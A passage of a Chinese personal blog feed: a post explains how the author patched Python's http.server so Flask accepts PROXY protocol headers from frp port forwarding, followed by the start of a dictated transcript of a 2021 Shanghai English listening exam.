                        <![CDATA[<h2 id="引言">引言</h2><p>在去年使用<code>frpc</code>端口穿透后远程调试<code>Python flask</code>的一个项目时，我意外地发现在启用了<code>proxy_protocol</code>的端口穿透服务中，从端口穿透地址发送的HTTP请求会出现请求失败的问题，问题复现步骤如下：</p><h3 id="第一步配置端口穿透">第一步：配置端口穿透</h3><p>在端口穿透客户端部分，笔者使用的是从<code>github</code>下载的<code>frp_0.29.0_darwin_amd64</code>，其中，配置文件<code>frpc.ini</code>是这样设置的：</p><pre><code class="language-ini">[common]server_addr=server_port=7000tcp_mux=trueprotocol=tcpuser=token=dns_server=114.114.114.114 [proxy_card]privilege_mode=truetype=tcplocal_ip=127.0.0.1local_port=1919remote_port=19054use_encryption=falseuse_compression=falseproxy_protocol_version = v1</code></pre><p><strong>注：此处的<code>server_addr</code>、<code>token</code>、<code>user</code>均被隐去</strong></p><h3 id="第二步编写测试用flask代码">第二步：编写测试用flask代码</h3><p>此处笔者简单写了一个Python代码片段，其作用是在用户请求路径<code>/</code>时，以<code>JSON</code>格式返回请求者的IP、<code>x-forwarded-for</code>头和<code>x-real-ip</code>头。</p><pre><code class="language-python">from flask import *app = Flask(__name__)@app.route(&quot;/&quot;)def root():    return {        'remote_addr': request.remote_addr,        'x-forwarded-for': request.headers.get('x-forwarded-for'),        'x-real-ip': request.headers.get('x-real-ip'),    }if __name__ == '__main__':    app.run(host=&quot;0.0.0.0&quot;, port=1919)</code></pre><h3 id="第三步启动代码和端口穿透服务并测试">第三步：启动代码和端口穿透服务，并测试</h3><p>笔者使用的是macOS系统，在启动<code>frpc</code>时只需在<code>终端</code>中切换至<code>frpc</code>所在根目录，并输入如下指令即可：</p><pre><code class="language-log">./frpc -c frpc.ini</code></pre><p>同时，在<code>Pycharm</code>中配置并运行<code>Python</code>代码，并通过浏览器访问端口穿透地址。</p><h3 id="问题截屏和对比">问题截屏和对比</h3><h4 id="通过内网ip访问时">通过内网IP访问时</h4><p><img src="/upload/2022/03/%E5%86%85%E7%BD%91%E8%AE%BF%E9%97%AE%E6%97%B6-6ad8eb13d2c24a908331f7722cf7154f.png" alt="内网访问时.png" /><br />可见，后端准确识别了内网IP地址，且没有报错，<code>Headers</code>中不包含相应请求头信息。</p><h4 id="通过端口穿透服务链接访问时">通过端口穿透服务链接访问时</h4><p><img src="/upload/2022/03/image-a8af611ea03d400095d41e6aa1c49627.png" alt="端口穿透服务访问时.png" /><br />浏览器端返回ERR_INVALID_HTTP_RESPONSE，同时后端报错</p><pre><code class="language-log">127.0.0.1 - - [19/Mar/2022 02:33:20] code 400, message Bad request version ('19054')127.0.0.1 - - [19/Mar/2022 02:33:20] &quot;PROXY TCP4 101.94.253.172 10.0.8.2 64134 19054&quot; HTTPStatus.BAD_REQUEST -</code></pre><p><img src="/upload/2022/03/image-e0d3e8fe20924d7299fd88094a87729d.png" alt="后端报错截图.png" /></p><blockquote><p><strong>值得注意的是，刚才展示的是当<code>proxy_protocol_version</code>被设置为<code>v1</code>时的报错信息，在其被设置成<code>v2</code>时，浏览器会返回<code>ERR_EMPTY_RESPONSE</code>错误，且后端没有相应的消息记录</strong></p></blockquote><h2 id="问题分析">问题分析</h2><p>笔者通过分析flask中app.run()方法的源代码，发现其原理是使用<code>werkzeug.serving</code>库中<code>run_simple</code>函数创建简单HTTP服务器，该函数相对应的代码如下（函数说明部分因篇幅原因删去）：</p><blockquote><p>flask/app.py</p></blockquote><pre><code class="language-python">    def run(        self,        host: t.Optional[str] = None,        port: t.Optional[int] = None,        debug: t.Optional[bool] = None,        load_dotenv: bool = True,        **options: t.Any,    ) -&gt; None:        # Change this into a no-op if the server is invoked from the        # command line. Have a look at cli.py for more information.        if os.environ.get(&quot;FLASK_RUN_FROM_CLI&quot;) == &quot;true&quot;:            from .debughelpers import explain_ignored_app_run            explain_ignored_app_run()            return        if get_load_dotenv(load_dotenv):            cli.load_dotenv()            # if set, let env vars override previous values            if &quot;FLASK_ENV&quot; in os.environ:                self.env = get_env()                self.debug = get_debug_flag()            elif &quot;FLASK_DEBUG&quot; in os.environ:                self.debug = get_debug_flag()        # debug passed to method overrides all other sources        if debug is not None:            self.debug = bool(debug)        server_name = self.config.get(&quot;SERVER_NAME&quot;)        sn_host = sn_port = None        if server_name:            sn_host, _, sn_port = server_name.partition(&quot;:&quot;)        if not host:            if sn_host:                host = sn_host            else:                host = &quot;127.0.0.1&quot;        if port or port == 0:            port = int(port)        elif sn_port:            port = int(sn_port)        else:            port = 5000        options.setdefault(&quot;use_reloader&quot;, self.debug)        options.setdefault(&quot;use_debugger&quot;, self.debug)        options.setdefault(&quot;threaded&quot;, True)        cli.show_server_banner(self.env, self.debug, self.name, False)        from werkzeug.serving import run_simple        try:            run_simple(t.cast(str, host), port, self, **options)        finally:            # reset the first request information if the development server            # reset normally.  This makes it possible to restart the server            # without reloader and that stuff from an interactive shell.            self._got_first_request = False</code></pre><p>继续溯源<code>run_simple()</code>函数，可得知其调用<code>make_server()</code>函数，该函数的定义如下：</p><pre><code class="language-python">def make_server(    host: str,    port: int,    app: &quot;WSGIApplication&quot;,    threaded: bool = False,    processes: int = 1,    request_handler: t.Optional[t.Type[WSGIRequestHandler]] = None,    passthrough_errors: bool = False,    ssl_context: t.Optional[_TSSLContextArg] = None,    fd: t.Optional[int] = None,) -&gt; BaseWSGIServer:</code></pre><p>从中，可知默认情况下，处理请求的类为<code>WSGIRequestHandler</code>。对该类分析，得知其为<code>BaseHTTPRequestHandler</code>的子类，这下便豁然开朗。笔者随即便开始着手对于<code>BaseHTTPRequestHandler</code>类的分析。</p><blockquote><p>.../http/server.py</p></blockquote><pre><code class="language-python">class BaseHTTPRequestHandler(socketserver.StreamRequestHandler):# 此处省略代码....    def parse_request(self):        &quot;&quot;&quot;Parse a request (internal).        The request should be stored in self.raw_requestline; the results        are in self.command, self.path, self.request_version and        self.headers.        Return True for success, False for failure; on failure, any relevant        error response has already been sent back.        &quot;&quot;&quot;        self.command = None  # set in case of error on the first line        self.request_version = version = self.default_request_version        self.close_connection = True        requestline = str(self.raw_requestline, 'iso-8859-1')        requestline = requestline.rstrip('\r\n')        self.requestline = requestline        words = requestline.split()        if len(words) == 0:            return False        if len(words) &gt;= 3:  # Enough to determine protocol version            version = words[-1]            try:                if not version.startswith('HTTP/'):                    raise ValueError                base_version_number = version.split('/', 1)[1]                version_number = base_version_number.split(&quot;.&quot;)                # RFC 2145 section 3.1 says there can be only one &quot;.&quot; and                #   - major and minor numbers MUST be treated as                #      separate integers;                #   - HTTP/2.4 is a lower version than HTTP/2.13, which in                #      turn is lower than HTTP/12.3;                #   - Leading zeros MUST be ignored by recipients.                if len(version_number) != 2:                    raise ValueError                version_number = int(version_number[0]), int(version_number[1])            except (ValueError, IndexError):                self.send_error(                    HTTPStatus.BAD_REQUEST,                    &quot;Bad request version (%r)&quot; % version)                return False            if version_number &gt;= (1, 1) and self.protocol_version &gt;= &quot;HTTP/1.1&quot;:                self.close_connection = False            if version_number &gt;= (2, 0):                self.send_error(                    HTTPStatus.HTTP_VERSION_NOT_SUPPORTED,                    &quot;Invalid HTTP version (%s)&quot; % base_version_number)                return False            self.request_version = version        if not 2 &lt;= len(words) &lt;= 3:            self.send_error(                HTTPStatus.BAD_REQUEST,                &quot;Bad request syntax (%r)&quot; % requestline)            return False        command, path = words[:2]        if len(words) == 2:            self.close_connection = True            if command != 'GET':                self.send_error(                    HTTPStatus.BAD_REQUEST,                    &quot;Bad HTTP/0.9 request type (%r)&quot; % command)                return False        self.command, self.path = command, path        # Examine the headers and look for a Connection directive.        try:            self.headers = http.client.parse_headers(self.rfile,                                                     _class=self.MessageClass)        except http.client.LineTooLong as err:            self.send_error(                HTTPStatus.REQUEST_HEADER_FIELDS_TOO_LARGE,                &quot;Line too long&quot;,                str(err))            return False        except http.client.HTTPException as err:            self.send_error(                HTTPStatus.REQUEST_HEADER_FIELDS_TOO_LARGE,                &quot;Too many headers&quot;,                str(err)            )            return False        conntype = self.headers.get('Connection', &quot;&quot;)        if conntype.lower() == 'close':            self.close_connection = True        elif (conntype.lower() == 'keep-alive' and              self.protocol_version &gt;= &quot;HTTP/1.1&quot;):            self.close_connection = False        # Examine the headers and look for an Expect directive        expect = self.headers.get('Expect', &quot;&quot;)        if (expect.lower() == &quot;100-continue&quot; and                self.protocol_version &gt;= &quot;HTTP/1.1&quot; and                self.request_version &gt;= &quot;HTTP/1.1&quot;):            if not self.handle_expect_100():                return False        return True# 此处省略代码....    def handle_one_request(self):        &quot;&quot;&quot;Handle a single HTTP request.        You normally don't need to override this method; see the class        __doc__ string for information on how to handle specific HTTP        commands such as GET and POST.        &quot;&quot;&quot;        try:            self.raw_requestline = self.rfile.readline(65537)            if len(self.raw_requestline) &gt; 65536:                self.requestline = ''                self.request_version = ''                self.command = ''                self.send_error(HTTPStatus.REQUEST_URI_TOO_LONG)                return            if not self.raw_requestline:                self.close_connection = True                return            if not self.parse_request():                # An error code has been sent, just exit                return            mname = 'do_' + self.command            if not hasattr(self, mname):                self.send_error(                    HTTPStatus.NOT_IMPLEMENTED,                    &quot;Unsupported method (%r)&quot; % self.command)                return            method = getattr(self, mname)            method()            self.wfile.flush() #actually send the response if not already done.        except socket.timeout as e:            #a read or a write timed out.  Discard this connection            self.log_error(&quot;Request timed out: %r&quot;, e)            self.close_connection = True            return</code></pre><p>在代码中，<code>parse_request()</code>函数负责解析第一行的HTTP请求数据，此处笔者为了找出问题所在，在<code>parse_request()</code>函数中添加了<code>print(requestline)</code>代码，用于将正常请求和端口穿透请求之间对比。很快便发现了问题：</p><ul><li>正常请求时，<code>requestline</code>的值为：</li></ul><pre><code class="language-log">GET / HTTP/1.1</code></pre><ul><li>端口穿透后的请求中，<code>requestline</code>的值为：</li></ul><pre><code class="language-log">PROXY TCP4 101.94.253.172 10.0.8.2 50982 19054</code></pre><p>显然，问题的原因正出在HTTP请求前被多加上去的那一段请求内容。<br />笔者根据查阅<code>Proxy Protocol</code>官方定义文档时，看到了对该段内容的准确描述：</p><pre><code class="language-txt">2.1. Human-readable header format (Version 1)This is the format specified in version 1 of the protocol. It consists in oneline of US-ASCII text matching exactly the following block, sent immediatelyand at once upon the connection establishment and prepended before any dataflowing from the sender to the receiver :  - a string identifying the protocol : &quot;PROXY&quot; ( \x50 \x52 \x4F \x58 \x59 )    Seeing this string indicates that this is version 1 of the protocol.  - exactly one space : &quot; &quot; ( \x20 )  - a string indicating the proxied INET protocol and family. As of version 1,    only &quot;TCP4&quot; ( \x54 \x43 \x50 \x34 ) for TCP over IPv4, and &quot;TCP6&quot;    ( \x54 \x43 \x50 \x36 ) for TCP over IPv6 are allowed. Other, unsupported,    or unknown protocols must be reported with the name &quot;UNKNOWN&quot; ( \x55 \x4E    \x4B \x4E \x4F \x57 \x4E ). For &quot;UNKNOWN&quot;, the rest of the line before the    CRLF may be omitted by the sender, and the receiver must ignore anything    presented before the CRLF is found. Note that an earlier version of this    specification suggested to use this when sending health checks, but this    causes issues with servers that reject the &quot;UNKNOWN&quot; keyword. Thus is it    now recommended not to send &quot;UNKNOWN&quot; when the connection is expected to    be accepted, but only when it is not possible to correctly fill the PROXY    line.  - exactly one space : &quot; &quot; ( \x20 )  - the layer 3 source address in its canonical format. IPv4 addresses must be    indicated as a series of exactly 4 integers in the range [0..255] inclusive    written in decimal representation separated by exactly one dot between each    other. Heading zeroes are not permitted in front of numbers in order to    avoid any possible confusion with octal numbers. IPv6 addresses must be    indicated as series of 4 hexadecimal digits (upper or lower case) delimited    by colons between each other, with the acceptance of one double colon    sequence to replace the largest acceptable range of consecutive zeroes. The    total number of decoded bits must exactly be 128. The advertised protocol    family dictates what format to use.  - exactly one space : &quot; &quot; ( \x20 )  - the layer 3 destination address in its canonical format. It is the same    format as the layer 3 source address and matches the same family.  - exactly one space : &quot; &quot; ( \x20 )  - the TCP source port represented as a decimal integer in the range    [0..65535] inclusive. Heading zeroes are not permitted in front of numbers    in order to avoid any possible confusion with octal numbers.  - exactly one space : &quot; &quot; ( \x20 )  - the TCP destination port represented as a decimal integer in the range    [0..65535] inclusive. Heading zeroes are not permitted in front of numbers    in order to avoid any possible confusion with octal numbers.  - the CRLF sequence ( \x0D \x0A )The maximum line lengths the receiver must support including the CRLF are :  - TCP/IPv4 :      &quot;PROXY TCP4 255.255.255.255 255.255.255.255 65535 65535\r\n&quot;    =&gt; 5 + 1 + 4 + 1 + 15 + 1 + 15 + 1 + 5 + 1 + 5 + 2 = 56 chars  - TCP/IPv6 :      &quot;PROXY TCP6 ffff:f...f:ffff ffff:f...f:ffff 65535 65535\r\n&quot;    =&gt; 5 + 1 + 4 + 1 + 39 + 1 + 39 + 1 + 5 + 1 + 5 + 2 = 104 chars  - unknown connection (short form) :      &quot;PROXY UNKNOWN\r\n&quot;    =&gt; 5 + 1 + 7 + 2 = 15 chars  - worst case (optional fields set to 0xff) :      &quot;PROXY UNKNOWN ffff:f...f:ffff ffff:f...f:ffff 65535 65535\r\n&quot;    =&gt; 5 + 1 + 7 + 1 + 39 + 1 + 39 + 1 + 5 + 1 + 5 + 2 = 107 charsSo a 108-byte buffer is always enough to store all the line and a trailing zerofor string processing.The receiver must wait for the CRLF sequence before starting to decode theaddresses in order to ensure they are complete and properly parsed. If the CRLFsequence is not found in the first 107 characters, the receiver should declarethe line invalid. A receiver may reject an incomplete line which does notcontain the CRLF sequence in the first atomic read operation. The receiver mustnot tolerate a single CR or LF character to end the line when a complete CRLFsequence is expected.Any sequence which does not exactly match the protocol must be discarded andcause the receiver to abort the connection. It is recommended to abort theconnection as soon as possible so that the sender gets a chance to notice theanomaly and log it.If the announced transport protocol is &quot;UNKNOWN&quot;, then the receiver knows thatthe sender speaks the correct PROXY protocol with the appropriate version, andSHOULD accept the connection and use the real connection's parameters as ifthere were no PROXY protocol header on the wire. However, senders SHOULD notuse the &quot;UNKNOWN&quot; protocol when they are the initiators of outgoing connectionsbecause some receivers may reject them. When a load balancing proxy has to sendhealth checks to a server, it SHOULD build a valid PROXY line which it willfill with a getsockname()/getpeername() pair indicating the addresses used. Itis important to understand that doing so is not appropriate when some sourceaddress translation is performed between the sender and the receiver.An example of such a line before an HTTP request would look like this (CRmarked as &quot;\r&quot; and LF marked as &quot;\n&quot;) :    PROXY TCP4 192.168.0.1 192.168.0.11 56324 443\r\n    GET / HTTP/1.1\r\n    Host: 192.168.0.11\r\n    \r\nFor the sender, the header line is easy to put into the output buffers once theconnection is established. Note that since the line is always shorter than anMSS, the sender is guaranteed to always be able to emit it at once and shouldnot even bother handling partial sends. For the receiver, once the header isparsed, it is easy to skip it from the input buffers. Please consult section 9for implementation suggestions.</code></pre><p>也就是说，在使用<code>Proxy Protocol</code>协议的请求中，HTTP请求前都会增加一行用于表示端口穿透信息，其开头固定为<code>PROXY</code>，紧接着的是网际协议（TCP4/TCP6），然后是请求来源IP、请求目标IP、请求来源端口号和请求目标端口号，最后以换行符<code>\r\n</code>结尾。</p><blockquote><p><strong>同样的，对于<code>Proxy Protocol v2</code>，也有相应的请求信息插入到HTTP请求前，篇幅原因此处不加以解读，读者可在文末相关链接中阅读协议原文。</strong></p></blockquote><h3 id="解决方法">解决方法</h3><p>至此，问题便相当明显了，其实就是Python内置的http解析不支持<code>Proxy Protocol</code>咯。既然如此，只需要魔改代码，让其支持<code>Proxy Protocol</code>，一切问题便迎刃而解。<br />在此，笔者对<code>server.py</code>文件中<code>BaseHTTPRequestHandler</code>类进行了一些修改：简单而言，就是解析<code>Proxy Protocol</code>数据（支持v1和v2版本），将请求IP加入http请求头中，并在后续解析中删除<code>Proxy Protocol</code>数据。<br />核心代码如下：</p><pre><code class="language-python">    def parse_request(self):        &quot;&quot;&quot;Parse a request (internal).        The request should be stored in self.raw_requestline; the results        are in self.command, self.path, self.request_version and        self.headers.        Return True for success, False for failure; on failure, any relevant        error response has already been sent back.        &quot;&quot;&quot;        self.command = None  # set in case of error on the first line        self.request_version = version = self.default_request_version        self.close_connection = True        requestline = str(self.raw_requestline, 'iso-8859-1')        # --Proxy Protocol V2--        if self.request_start:  # First time read the stream            self.request_start = False            if self.raw_requestline == b&quot;\r\n&quot;:                # Judge if is proxy_protocol_v2, its signature should be b'\r\n\r\n\x00\r\nQUIT\n'                if self.rfile.readline(65537) != b&quot;\r\n&quot;:                    return False                if self.rfile.readline(65537) != b&quot;\x00\r\n&quot;:                    return False                if self.rfile.readline(65537) != b&quot;QUIT\n&quot;:                    return False                self.enable_proxy_protocol_v2 = True        # print(&quot;enable_proxy_protocol_v2&quot;, self.enable_proxy_protocol_v2)        if self.enable_proxy_protocol_v2:  # If protocol proxy v2            requestline = self.rfile.readline(65537)  # Read next line            # The first 4 Bytes should be the data of IP address            proxy_info = requestline[0:4]  # Proxy info            # print(proxy_info)            # The next byte (the 13th one) is the protocol version and command.            # The highest four bits contains the version. As of this specification, it must            # always be sent as \x2 and the receiver must only accept this value.            proxy_protocol_version_command = proxy_info[0]            proxy_protocol_version = proxy_protocol_version_command &gt;&gt; 4            # print('Version:', proxy_protocol_version)            # The lowest four bits represents the command.            # \x0-LOCAL \x1-PROXY Other-Drop            proxy_protocol_command = proxy_protocol_version_command - (proxy_protocol_version &lt;&lt; 4)            # print('Command:', proxy_protocol_command)            if proxy_protocol_command != 0 and proxy_protocol_command != 1:                return False            # The 14th byte contains the transport protocol and address family. The highest 4            # bits contain the address family, the lowest 4 bits contain the protocol.            proxy_protocol_address = proxy_info[1]            proxy_protocol_address_family = proxy_protocol_address &gt;&gt; 4            # print('Address Family:', proxy_protocol_address_family)            # 0x1-IPv4 0x2-IPv6            # Other-Drop because http servers only accept AF_INET/AF_INET6            if proxy_protocol_address_family != 1 and proxy_protocol_address_family != 2:                return False            # The transport protocol is specified in the lowest 4 bits of the 14th byte            # 0x1-TCP            # Other-Drop because http servers only accept TCP traffic            proxy_protocol_address_protocol = proxy_protocol_address - (proxy_protocol_address_family &lt;&lt; 4)            if proxy_protocol_address_protocol != 1:                return False            # print('Address Protocol:', proxy_protocol_address_family)            # The 15th and 16th bytes is the address length in bytes in network endian order.            proxy_protocol_ip_data_length = (proxy_info[2] &lt;&lt; 4) + int(proxy_info[3])            # print('IP Data Length:', proxy_protocol_ip_data_length)            # Starting from the 17th byte, addresses are presented in network byte order.            # The address order is always the same :            #   - source layer 3 address in network byte order            #   - destination layer 3 address in network byte order            #   - source layer 4 address if any, in network byte order (port)            #   - destination layer 4 address if any, in network byte order (port)            proxy_protocol_ip_data = requestline[4:proxy_protocol_ip_data_length + 4]            # If the ip address is sent as \n or \r, it may be splited by function self.rfile.readline()            readline_data = ' ';  # Just in case the request is invalid which may cause infinite loop            while len(proxy_protocol_ip_data) &lt; proxy_protocol_ip_data_length and len(readline_data) &gt; 0:                readline_data = self.rfile.readline(65537)                requestline += readline_data                proxy_protocol_ip_data = requestline[4:proxy_protocol_ip_data_length + 4]            if len(proxy_protocol_ip_data) &lt; proxy_protocol_ip_data_length:  # It's a bad request                return False            self.proxy_info = []            if proxy_protocol_address_family == 1:  # TCP4                self.proxy_info.append('TCP4')                proxy_protocol_src_ip = proxy_protocol_ip_data[0:4]                self.proxy_info.append('%r.%r.%r.%r' %                                       (proxy_protocol_src_ip[0], proxy_protocol_src_ip[1], proxy_protocol_src_ip[2],                                        proxy_protocol_src_ip[3]))                proxy_protocol_dist_ip = proxy_protocol_ip_data[4:8]                self.proxy_info.append('%r.%r.%r.%r' %                                       (proxy_protocol_dist_ip[0], proxy_protocol_dist_ip[1], proxy_protocol_dist_ip[2],                                        proxy_protocol_dist_ip[3]))                self.proxy_info.append((proxy_protocol_ip_data[8] &lt;&lt; 8) + proxy_protocol_ip_data[9])                self.proxy_info.append((proxy_protocol_ip_data[10] &lt;&lt; 8) + proxy_protocol_ip_data[11])            else:                self.proxy_info.append('TCP6')                def bytes_2_ip6(bytes_arr):                    ip_int = int.from_bytes(bytes_arr, byteorder='big')                    import ipaddress                    return str(ipaddress.ip_address(ip_int))                proxy_protocol_src_ip = proxy_protocol_ip_data[0:16]                self.proxy_info.append(bytes_2_ip6(proxy_protocol_src_ip))                proxy_protocol_dist_ip = proxy_protocol_ip_data[16:32]                self.proxy_info.append(bytes_2_ip6(proxy_protocol_dist_ip))                self.proxy_info.append((proxy_protocol_ip_data[32] &lt;&lt; 8) + proxy_protocol_ip_data[33])                self.proxy_info.append((proxy_protocol_ip_data[34] &lt;&lt; 8) + proxy_protocol_ip_data[35])            # print(self.proxy_info)            requestline = str(requestline[4 + proxy_protocol_ip_data_length:], 'iso-8859-1')  # Real request data        # ------------------        requestline = requestline.rstrip('\r\n')        self.requestline = requestline        # --Proxy Protocol V1--        words = requestline.split()        if len(words) == 0:            return False        if words[0] == &quot;PROXY&quot;:  # If run with proxy_protocol v1            try:                self.proxy_info = [words[1], words[2], words[3], words[4], words[5]]                # Proxy info: [AF, L3_SADDR, L3_DADDR, L4_SADDR, L4_DADDR]            except:                self.send_error(                    HTTPStatus.BAD_REQUEST,                    &quot;Bad Protocol Data&quot;)                return False            self.handle_one_request()  # Read next line            requestline = str(self.raw_requestline, 'iso-8859-1')            requestline = re.sub(&quot;^PROXY[ a-z0-9A-Z.]*\r\n&quot;, &quot;&quot;,                                 requestline)  # Delete proxy line to make sure the request is valid            requestline = requestline.rstrip('\r\n')            self.requestline = requestline            words = requestline.split()  # Regenerate the words        # ------------------        if len(words) == 0:            return False        if len(words) &gt;= 3:  # Enough to determine protocol version            version = words[-1]            try:                if not version.startswith('HTTP/'):                    raise ValueError                base_version_number = version.split('/', 1)[1]                version_number = base_version_number.split(&quot;.&quot;)                # RFC 2145 section 3.1 says there can be only one &quot;.&quot; and                #   - major and minor numbers MUST be treated as                #      separate integers;                #   - HTTP/2.4 is a lower version than HTTP/2.13, which in                #      turn is lower than HTTP/12.3;                #   - Leading zeros MUST be ignored by recipients.                if len(version_number) != 2:                    raise ValueError                version_number = int(version_number[0]), int(version_number[1])            except (ValueError, IndexError):                self.send_error(                    HTTPStatus.BAD_REQUEST,                    &quot;Bad request version (%r)&quot; % version)                return False            if version_number &gt;= (1, 1) and self.protocol_version &gt;= &quot;HTTP/1.1&quot;:                self.close_connection = False            if version_number &gt;= (2, 0):                self.send_error(                    HTTPStatus.HTTP_VERSION_NOT_SUPPORTED,                    &quot;Invalid HTTP version (%s)&quot; % base_version_number)                return False            self.request_version = version        if not 2 &lt;= len(words) &lt;= 3:            self.send_error(                HTTPStatus.BAD_REQUEST,                &quot;Bad request syntax (%r)&quot; % requestline)            return False        command, path = words[:2]        if len(words) == 2:            self.close_connection = True            if command != 'GET':                self.send_error(                    HTTPStatus.BAD_REQUEST,                    &quot;Bad HTTP/0.9 request type (%r)&quot; % command)                return False        self.command, self.path = command, path        # Examine the headers and look for a Connection directive.        try:            self.headers = http.client.parse_headers(self.rfile,                                                     _class=self.MessageClass)            # If Proxy, automatically add headers            if self.proxy_info != []:                # print(&quot;Through Proxy&quot;, requestline, self.proxy_info)                self.headers.add_header('X-Real-IP', self.proxy_info[1])                if self.headers.get('X-Forwarded-For'):                    self.headers.add_header('X-Forwarded-For',                                            self.headers.get('X-Forwarded-For') + ',' + self.proxy_info[1])                else:                    self.headers.add_header('X-Forwarded-For', self.proxy_info[1])            # ---------        except http.client.LineTooLong as err:            self.send_error(                HTTPStatus.REQUEST_HEADER_FIELDS_TOO_LARGE,                &quot;Line too long&quot;,                str(err))            return False        except http.client.HTTPException as err:            self.send_error(                HTTPStatus.REQUEST_HEADER_FIELDS_TOO_LARGE,                &quot;Too many headers&quot;,                str(err)            )            return False        conntype = self.headers.get('Connection', &quot;&quot;)        if conntype.lower() == 'close':            self.close_connection = True        elif (conntype.lower() == 'keep-alive' and              self.protocol_version &gt;= &quot;HTTP/1.1&quot;):            self.close_connection = False        # Examine the headers and look for an Expect directive        expect = self.headers.get('Expect', &quot;&quot;)        if (expect.lower() == &quot;100-continue&quot; and                self.protocol_version &gt;= &quot;HTTP/1.1&quot; and                self.request_version &gt;= &quot;HTTP/1.1&quot;):            if not self.handle_expect_100():                return False        return True</code></pre><p>完整的魔改后代码已开源至<code>GITHUB</code>，<code>server.py</code>代码见<a href="https://github.com/vvbbnn00/python_proxy_protocol/blob/main/server.py">此链接</a>。</p><blockquote><p><strong>使用方法</strong><br />下载<code>server.py</code>，将Python lib中<code>http/server.py</code>替换成下载的文件即可。<strong>（以防万一，替换前请先备份）</strong></p></blockquote><p>具体替换地址，不同操作系统和环境，地址均不相同，在笔者的计算机中，其地址为：</p><pre><code class="language-log">/Library/Frameworks/Python.framework/Versions/3.9/lib/python3.9/http/server.py</code></pre><p>希望能对你有些帮助。</p><h3 id="问题解决">问题解决</h3><p>经过以上操作后，再次访问端口穿透服务的地址，可见问题已被成功解决：<br /><img src="/upload/2022/03/image-0f427b0165db4a01853aa76a76bba793.png" alt="解决后的截屏.png" /></p><p>最后，附上GitHub仓库地址~</p><blockquote><p><a href="https://github.com/vvbbnn00/python_proxy_protocol">https://github.com/vvbbnn00/python_proxy_protocol</a></p></blockquote><p>如果对你有帮助，不妨点个<strong>Star</strong>哦</p><h3 id="参考资料">参考资料</h3><ul><li><a href="https://doc.natfrp.com/#/bestpractice/realip?id=proxy-protocol">https://doc.natfrp.com/#/bestpractice/realip?id=proxy-protocol</a></li><li><a href="http://www.haproxy.org/download/1.8/doc/proxy-protocol.txt">http://www.haproxy.org/download/1.8/doc/proxy-protocol.txt</a></li></ul><p><strong>至此，问题解决！完结撒花✿✿ヽ(°▽°)ノ✿</strong></p>]]>
                </content>
            </entry>
            <entry>
                <title><![CDATA[2021上海市秋考英语听力原文（听写版）]]></title>
                <link rel="alternate" type="text/html" href="https://blog.vvbbnn00.cn/archives/2021college-entrance-examlistening" />
                <id>tag:https://blog.vvbbnn00.cn,2021-06-08:2021college-entrance-examlistening</id>
                <published>2021-06-08T16:33:01+08:00</published>
                <updated>2022-03-18T19:52:20+08:00</updated>
                <author>
                    <name>不做评论</name>
                    <uri>https://blog.vvbbnn00.cn</uri>
                </author>
                <content type="html">
                        <![CDATA[<p><strong>时间仓促，没有仔细校对，可能还有错误</strong><br />By 不做评论&amp;Apple听写</p><h2 id="section-a">Section A</h2><ol><li>-Seems like I’m running a fever.<br />-Don’t worry. I’ll give you a blood test first.<br />Question: What is most probably the woman’s job?</li><li>- Are you checking out some colleges? East Lake College is a pretty neat school.<br />- but they don’t offer many majors.<br />Question: what does the man imply?</li><li>- I was fired I thought my work being valued by the company.<br />- Sorry to hear that. but it’s not the end of the world. Cheer up.<br />Question: what is the woman trying to do?</li><li>- Do you happen to know the title of this oil painting?<br />- No idea. Maybe an early-18th-century work. You can look it up in the catalog.<br />Question: what are the speakers mainly talking about?</li><li>- Oh, it looks like the traffic is really bad, still another hour to get to your office.<br />- OK then I will go by Subway, please stop at the next crossroads and I will get out there.<br />Question: What can we learn about the woman from the conversation?</li><li>- What’s the assignment for today in is Taylor?<br />- Well, read chapter 9 in your textbook and get prepared to discuss next what you’ve read next Monday.<br />Question: What will the man be required to do next Monday?</li><li>- Will you please email me tomorrow? Let’s fix the date for next conference.<br />- My computer is broken. Can I call you?<br />Question: What does the man imply?</li><li>- Mom where am I blue shoes, I’ll be late for school.<br />- I washed them this morning. Last night, you told me you’d have a day off school today.<br />Question: What does the woman mean?</li><li>- I have gained weight since I started to work at pizza kitchen.<br />- I know they offer employees free pizzas for meals, but you could pack your own healthy lunch.<br />Question: What does the man suggest the woman do?</li><li>- Have you booked a twin room in West hotel for a holiday?<br />- Not yet. The line was busy, I will ring later but that hotel is never full in March.<br />Question: What does the man imply?</li></ol><h2 id="section-b">Section B</h2><h3 id="questions-11-through-13-based-on-the-following-passage">Questions 11 through 13 based on the following passage</h3><p>It’s a daily struggle known to office workers the world over. A productive morning rewarded with a decent lunch. And then at about 3 PM there comes the irresistible sleepiness. A short nap can promote alertness and improve performance which are important when you’re at work. Now many companies with a strong commitment to employee wellness have realized the benefits of on-site napping. UU corporation(?), A consulting company has a flexible approach. Employees can take a nap for 30 minutes at most anytime between 1 PM and 4 PM. Another company Tim and Jerrys, which already offers employees personal trainers, now supplies a room with a bed and pillows that employees can use as needed. One of its representatives says if people need to catch a little nap during the day, we will behind it. An IT firm, New Link allows its employees to take a 20-minute power nap at their desks. Introduced 2 years ago, the policy has proved a huge hit. Mr. lean, an accountant in New Link told a local newspaper:” if I use a calculator when I’m sleepy, I have to double check my work for fear of making mistakes. So, it takes longer. Thanks to the policy, my work performance has improved.”</p><ol start="11"><li>What is the speaker mainly talking about?</li><li>Which of the following can employees of UU corporation(?) do at work?</li><li>What can be learned about Mr. Lean?</li></ol><h3 id="questions-14-through-16-based-on-the-following-passage">Questions 14 through 16 based on the following passage</h3><p>Search engines have completely changed how we access information and who we get it from. They’re fast, easy and great but there’s so many questions you can’t look up online. Some are too complex, because they have two or more parts and others are impossible to search because you can’t remember a name or an exact year. So, you get too many results to make you search useful or maybe you just aren’t near a computer or Wi-Fi. That’s what APL can make a difference. With APL you can put questions to an information specialist at the pro(?) library. For over 40 years, APL has been answering peoples’ questions by looking things up in a variety of text, recordings and other resources. And these people are expert researchers. So, they know where to look for information, which is key and providing a really good quality answer. Sometimes accuracy is more important than getting millions of results in a second. Then how can you access APL? you can call 21518 between 9 AM and 6 PM, Monday through Saturday. One of the 10 information specialists will answer your question even if the questions have multiple parts and even if you are missing some key information. That’s the benefit of a human over computer. Plus, if you need some recommended reading, they’ve got that covered too.</p><ol start="14"><li>What is the speaker mainly talking about?</li><li>What will the search engine do if you type in a much too complicated question?</li><li>Which of the following is true of APL?</li></ol><h3 id="questions-17-through-20-based-on-the-following-conversation">Questions 17 through 20 based on the following conversation</h3><p>Man - What are you going to do this summer, Sue<br />Woman - Well, I can work full-time at my uncle’s 